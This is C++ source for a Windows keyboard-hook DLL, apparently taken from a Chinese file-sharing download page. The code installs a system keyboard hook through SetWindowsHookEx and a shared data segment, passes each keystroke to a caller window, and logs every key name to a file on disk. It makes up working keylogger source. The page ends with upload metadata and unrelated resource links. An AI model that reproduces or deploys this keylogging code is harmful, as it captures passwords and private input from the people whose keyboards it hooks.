#include <stdio.h>
#include <afx.h>
#include <windows.h>
#define KEYHOOKLIB_EXPORTS
#include "hook_keyboard_dll.h"
#pragma data_seg("YCIShare")
HWND g_hWndCaller = NULL;
HHOOK g_hHook = NULL;
#pragma data_seg()
HMODULE WINAPI ModuleFromAddress(PVOID pv)
{
MEMORY_BASIC_INFORMATION mbi;
if (::VirtualQuery(pv,&mbi,sizeof(mbi)) != 0)
{
return (HMODULE)mbi.AllocationBase;
}
else
{
return NULL;
}
}
LRESULT CALLBACK KeyHookProc(int nCode,WPARAM wParam,LPARAM lParam)
{
if (nCode<0||nCode==HC_NOREMOVE)
{
return ::CallNextHookEx(g_hHook,nCode,wParam,lParam);
}
if (lParam & 0x40000000)
{
return ::CallNextHookEx(g_hHook,nCode,wParam,lParam);
}
::PostMessage(g_hWndCaller,HM_KEY,wParam,lParam);
char str[20];
FILE *KeyFile;
::GetKeyNameText(lParam,str,20);
if (KeyFile = fopen("E:\\Key.txt","a"))
{
fputs(str,KeyFile);
fputs(" ",KeyFile);
fclose(KeyFile);
}
return ::CallNextHookEx(g_hHook,nCode,wParam,lParam);
}
BOOL WINAPI SetKeyHooK(BOOL bInstall,DWORD dwThreadId ,HWND hWndCaller)
{
BOOL bOk;
g_hWndCaller = hWndCaller;
if (bInstall)
{
g_hHook = ::SetWindowsHookEx(WH_KEYBOARD,KeyHookProc,ModuleFromAddress(KeyHookProc),dwThreadId);
bOk = (g_hHook != NULL);
}
else
{
bOk = ::UnhookWindowsHookEx(g_hHook);
g_hHook = NULL;
}
return bOk;
}
BOOL WINAPI StopKeyHook()
{
return ::UnhookWindowsHookEx(g_hHook);
}
hook_keyboard.zip_SetWindowsHookEx
版权申诉
193 浏览量
2022-09-21
18:44:03
上传
评论
收藏 4.75MB ZIP 举报
APei
- 粉丝: 63
- 资源: 1万+
最新资源
- 5uonly.apk
- 2023-04-06-项目笔记 - 第一百十九阶段 - 4.4.2.117全局变量的作用域-117 -2024.04.30
- 2023-04-06-项目笔记 - 第一百十九阶段 - 4.4.2.117全局变量的作用域-117 -2024.04.30
- 前端开发技术实验报告:内含4四实验&实验报告
- Highlight Plus v20.0.1
- 林周瑜-论文.docx
- 基于MIC+NE555光敏电阻的声光控电路Multisim仿真原理图
- 基于JSP毕业设计-基于WEB操作系统课程教学网站的设计与实现(源代码+论文).zip
- 基于LM324和LM386的音响放大器Multisim仿真+PCB电路原理图
- Python机器学习与数据挖掘环境配置与库验证
资源上传下载、课程学习等过程中有任何疑问或建议,欢迎提出宝贵意见哦~我们会及时处理!
点击此处反馈
评论0